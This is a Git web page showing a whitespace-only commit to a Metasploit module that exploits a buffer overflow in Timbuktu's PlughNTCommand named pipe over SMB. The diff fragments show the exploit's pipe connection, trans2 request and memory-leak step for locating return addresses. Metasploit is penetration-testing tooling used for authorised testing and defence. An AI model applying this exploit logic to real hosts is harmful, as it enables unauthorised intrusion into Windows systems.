dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

fixup whitespace 

git-svn-id: file:///home/svn/framework3/trunk@7804 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake 2009-12-10 18:07:16 +00:00
parent d8a4926a22
commit 21cbb87fac
1 changed files with 171 additions and 171 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb
View File

@ -52,7 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
{ {
'Space' => 2048, 'Space' => 2048,
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
# we use a memory leak technique to get the return address # we use a memory leak technique to get the return address
@ -78,23 +78,23 @@ class Metasploit3 < Msf::Exploit::Remote
begin begin
smb_login() smb_login()
rescue ::Exception => e rescue ::Exception => e
print_error("Error: #{e}") print_error("Error: #{e}")
disconnect disconnect
exit exit
return return
end end
print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe") print_status("Connecting to \\\\#{datastore['RHOST']}\\PlughNTCommand named pipe")
begin begin
pipe = simple.create_pipe('\\PlughNTCommand') pipe = simple.create_pipe('\\PlughNTCommand')
rescue ::Exception => e rescue ::Exception => e
print_error("Error: #{e}") print_error("Error: #{e}")
disconnect disconnect
exit exit
return return
end end
fid = pipe.file_id fid = pipe.file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '') trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
@ -151,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Remote
if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side if (stackaddr.nil? || bufaddr.nil? ) # just to be on the safe side
print_error("Error: memory leak failed") print_error("Error: memory leak failed")
end end
pipe = smb_connection() pipe = smb_connection()